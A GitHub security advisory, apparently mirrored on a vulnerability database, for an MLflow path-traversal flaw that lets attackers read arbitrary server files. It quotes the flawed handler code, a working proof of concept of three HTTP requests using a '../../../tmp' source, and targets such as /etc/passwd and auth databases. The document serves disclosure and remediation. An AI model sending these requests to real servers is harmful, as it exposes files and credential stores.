GHSA-M65P-9J7Q-6W33
Vulnerability from github – Published: 2026-10-27 21:26 – Updated: 2026-10-27 21:26Summary
On MLflow tracking servers running without authentication, which is the default for mlflow server, a remote attacker can read arbitrary files from the server’s filesystem by creating a model version tagged as a prompt whose source is a schemeless local path.
The fix for CVE-2026-2614 in 3.10.0 added a prompt-specific branch to the CreateModelVersion handler that rejects file:// URIs and absolute paths but runs path validation only when the source carries a URL scheme. A schemeless value such as ../../etc, a plain relative name, ., a percent-encoded path, or a Windows drive-letter path is therefore stored unchanged as the model version’s artifact location, and the model-versions/get-artifact endpoint later serves files from it with the privileges of the server process. The tag check also keyed on the presence of the mlflow.prompt.is_prompt tag rather than its value, so a false value still selected the weaker branch.
Servers using --app-name basic-auth are also affected: any authenticated user can create a registered model, so a low-privilege account can use this to read the authentication database, including the admin password hash.
Affected: MLflow 3.10.0 through 3.16.1. Fixed in 3.17.0 by mlflow/mlflow#25870, which accepts only MLflow’s own placeholder sources for prompt versions and requires the prompt tag to be true.
Details
When creating a model version with the mlflow.prompt.is_prompt tag set to true, the request is handled by the prompt branch in _create_model_version().
mlflow/server/handlers.py:2674-2690:
is_prompt = _is_prompt_request(request_message)
if is_prompt:
source = request_message.source
parsed = urllib.parse.urlparse(source)
if parsed.scheme == "file" or (parsed.scheme == "" and source.startswith("/")):
raise MlflowException(...)
if parsed.scheme:
_validate_non_local_source_contains_relative_paths(source)
else:
if request_message.model_id:
_validate_source_model(request_message.source, request_message.model_id)
else:
_validate_source_run(request_message.source, request_message.run_id)
The prompt branch does not call _validate_source_run(), _validate_source_model(), or _validate_non_local_source_contains_relative_paths() for schemeless relative paths.
The artifact-read sink later trusts the stored source:
mlflow/server/handlers.py:2765-2782:
def get_model_version_artifact_handler():
name = request.args.get("name")
version = request.args.get("version")
path = request.args["path"]
path = validate_path_is_safe(path)
artifact_uri = _get_model_registry_store().get_model_version_download_uri(name, version)
...
else:
artifact_repo = get_artifact_repository(artifact_uri)
artifact_path = path
return _send_artifact(artifact_repo, artifact_path)
_send_artifact() calls artifact_repository.download_artifacts(path) and serves the resulting local file with send_file().
PoC
Prerequisite: A reachable MLflow tracking server with model registry endpoints enabled.
- Create a sentinel file on the server:
printf 'MLFLOW_PWNED_SENTINEL_REPORT' > /tmp/sentinel-mlflow.txt
- Send the following requests to the MLflow server to exploit the traversal:
First, create a registered model:
POST /api/2.0/mlflow/registered-models/create HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/json
{"name": "pwned-model"}
Next, create a prompt-tagged model version with the malicious relative source ../../../tmp:
POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/json
{
"name": "pwned-model",
"source": "../../../tmp",
"tags": [{"key": "mlflow.prompt.is_prompt", "value": "true"}]
}
Finally, retrieve the arbitrary file via the artifact download endpoint by supplying the target filename in the path parameter:
GET /api/2.0/mlflow/model-versions/get-artifact?name=pwned-model&version=1&path=sentinel-mlflow.txt HTTP/1.1
Host: 127.0.0.1:5000
This returns the contents of /tmp/sentinel-mlflow.txt. The same primitive can read sensitive files like /etc/passwd or tracking databases (e.g. mlflow.db).
Impact
Direct impact is arbitrary local file read as the MLflow server process. Confirmed read targets include:
- /etc/passwd
- SQLite tracking databases readable by the process (e.g., mlflow-auth.db or basic_auth.db)
- Environment variables or configurations stored on disk
- /home/user/.bash_history
Threat model: An attacker who can reach the MLflow tracking server HTTP port can read arbitrary files readable by the MLflow server process. On unauthenticated MLflow deployments, this is directly exploitable without credentials. On auth-enabled deployments, any authenticated user (even low-privileged or "read-only" accounts, depending on default RBAC configurations allowing model creation) can use the primitive. Leaked credential stores may enable offline password attacks or broader administrative compromise.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mlflow"
},
"ranges": [
{
"events": [
{
"introduced": "3.10.0"
},
{
"fixed": "3.17.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-116690"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-27T21:26:56Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nOn MLflow tracking servers running without authentication, which is the default for mlflow server, a remote attacker can read arbitrary files from the server\u2019s filesystem by creating a model version tagged as a prompt whose source is a schemeless local path.\n\nThe fix for CVE-2026-2614 in 3.10.0 added a prompt-specific branch to the `CreateModelVersion` handler that rejects `file://` URIs and absolute paths but runs path validation only when the source carries a URL scheme. A schemeless value such as `../../etc`, a plain relative name, `.`, a percent-encoded path, or a Windows drive-letter path is therefore stored unchanged as the model version\u2019s artifact location, and the `model-versions/get-artifact endpoint` later serves files from it with the privileges of the server process. The tag check also keyed on the presence of the `mlflow.prompt.is_prompt` tag rather than its value, so a false value still selected the weaker branch.\n\nServers using `--app-name basic-auth` are also affected: any authenticated user can create a registered model, so a low-privilege account can use this to read the authentication database, including the admin password hash.\n\nAffected: MLflow 3.10.0 through 3.16.1. Fixed in 3.17.0 by [mlflow/mlflow#25870](https://github.com/mlflow/mlflow/pull/25870), which accepts only MLflow\u2019s own placeholder sources for prompt versions and requires the prompt tag to be `true`.\n\n### Details\nWhen creating a model version with the `mlflow.prompt.is_prompt` tag set to true, the request is handled by the prompt branch in `_create_model_version()`.\n\n`mlflow/server/handlers.py:2674-2690`:\n```python\nis_prompt = _is_prompt_request(request_message)\nif is_prompt:\n source = request_message.source\n parsed = urllib.parse.urlparse(source)\n if parsed.scheme == \"file\" or (parsed.scheme == \"\" and source.startswith(\"/\")):\n raise MlflowException(...)\n if parsed.scheme:\n _validate_non_local_source_contains_relative_paths(source)\nelse:\n if request_message.model_id:\n _validate_source_model(request_message.source, request_message.model_id)\n else:\n _validate_source_run(request_message.source, request_message.run_id)\n```\nThe prompt branch does not call `_validate_source_run()`, `_validate_source_model()`, or `_validate_non_local_source_contains_relative_paths()` for schemeless relative paths.\n\nThe artifact-read sink later trusts the stored source:\n\n`mlflow/server/handlers.py:2765-2782`:\n```python\ndef get_model_version_artifact_handler():\n name = request.args.get(\"name\")\n version = request.args.get(\"version\")\n path = request.args[\"path\"]\n path = validate_path_is_safe(path)\n artifact_uri = _get_model_registry_store().get_model_version_download_uri(name, version)\n ...\n else:\n artifact_repo = get_artifact_repository(artifact_uri)\n artifact_path = path\n\n return _send_artifact(artifact_repo, artifact_path)\n```\n`_send_artifact()` calls `artifact_repository.download_artifacts(path)` and serves the resulting local file with `send_file()`.\n\n### PoC\nPrerequisite: A reachable MLflow tracking server with model registry endpoints enabled.\n\n1. Create a sentinel file on the server:\n```bash\nprintf \u0027MLFLOW_PWNED_SENTINEL_REPORT\u0027 \u003e /tmp/sentinel-mlflow.txt\n```\n\n2. Send the following requests to the MLflow server to exploit the traversal:\n\nFirst, create a registered model:\n```http\nPOST /api/2.0/mlflow/registered-models/create HTTP/1.1\nHost: 127.0.0.1:5000\nContent-Type: application/json\n\n{\"name\": \"pwned-model\"}\n```\n\nNext, create a prompt-tagged model version with the malicious relative source `../../../tmp`:\n```http\nPOST /api/2.0/mlflow/model-versions/create HTTP/1.1\nHost: 127.0.0.1:5000\nContent-Type: application/json\n\n{\n \"name\": \"pwned-model\",\n \"source\": \"../../../tmp\",\n \"tags\": [{\"key\": \"mlflow.prompt.is_prompt\", \"value\": \"true\"}]\n}\n```\n\nFinally, retrieve the arbitrary file via the artifact download endpoint by supplying the target filename in the `path` parameter:\n```http\nGET /api/2.0/mlflow/model-versions/get-artifact?name=pwned-model\u0026version=1\u0026path=sentinel-mlflow.txt HTTP/1.1\nHost: 127.0.0.1:5000\n```\nThis returns the contents of `/tmp/sentinel-mlflow.txt`. The same primitive can read sensitive files like `/etc/passwd` or tracking databases (e.g. `mlflow.db`).\n\n### Impact\nDirect impact is arbitrary local file read as the MLflow server process. Confirmed read targets include:\n- `/etc/passwd`\n- SQLite tracking databases readable by the process (e.g., `mlflow-auth.db` or `basic_auth.db`)\n- Environment variables or configurations stored on disk\n- `/home/user/.bash_history`\n\nThreat model: An attacker who can reach the MLflow tracking server HTTP port can read arbitrary files readable by the MLflow server process. On unauthenticated MLflow deployments, this is directly exploitable without credentials. On auth-enabled deployments, any authenticated user (even low-privileged or \"read-only\" accounts, depending on default RBAC configurations allowing model creation) can use the primitive. Leaked credential stores may enable offline password attacks or broader administrative compromise.",
"id": "GHSA-m65p-9j7q-6w33",
"modified": "2026-10-27T21:26:56Z",
"published": "2026-10-27T21:26:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/security/advisories/GHSA-m65p-9j7q-6w33"
},
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/pull/25870"
},
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/commit/81730a2ce4ebcd60d5d18f68c96f422ad7e30772"
},
{
"type": "PACKAGE",
"url": "https://github.com/mlflow/mlflow"
},
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/releases/tag/v3.17.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "MLflow vulnerable to arbitrary file read on unauthenticated servers via prompt model version source"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.